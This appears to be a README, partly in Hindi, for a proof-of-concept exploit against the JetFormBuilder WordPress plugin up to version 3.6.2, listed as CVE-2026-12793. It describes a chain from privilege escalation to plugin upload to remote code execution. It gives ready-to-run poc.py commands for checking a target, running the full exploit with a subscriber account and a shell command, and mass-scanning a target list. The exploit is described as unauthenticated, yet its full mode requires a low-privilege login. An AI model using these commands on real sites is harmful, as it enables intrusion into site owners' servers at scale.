CVE-2026-12793 — JetFormBuilder ≤ 3.6.2

अप्रमाणित विशेषाधिकार वृद्धि → प्लगइन अपलोड → RCE।

प्रभावित संस्करण

• असुरक्षित: <= 3.6.2
• पैच किया गया: >= 3.6.3

त्वरित उपयोग

# Check single target
python poc.py -u https://target.example --mode check

# Full exploit (requires an existing low-privilege account)
python poc.py -u https://target.example --mode exploit \
    -nu subscriber -np 'Password123' -c id

# Mass scan
python poc.py -l targets.txt --mode check -t 30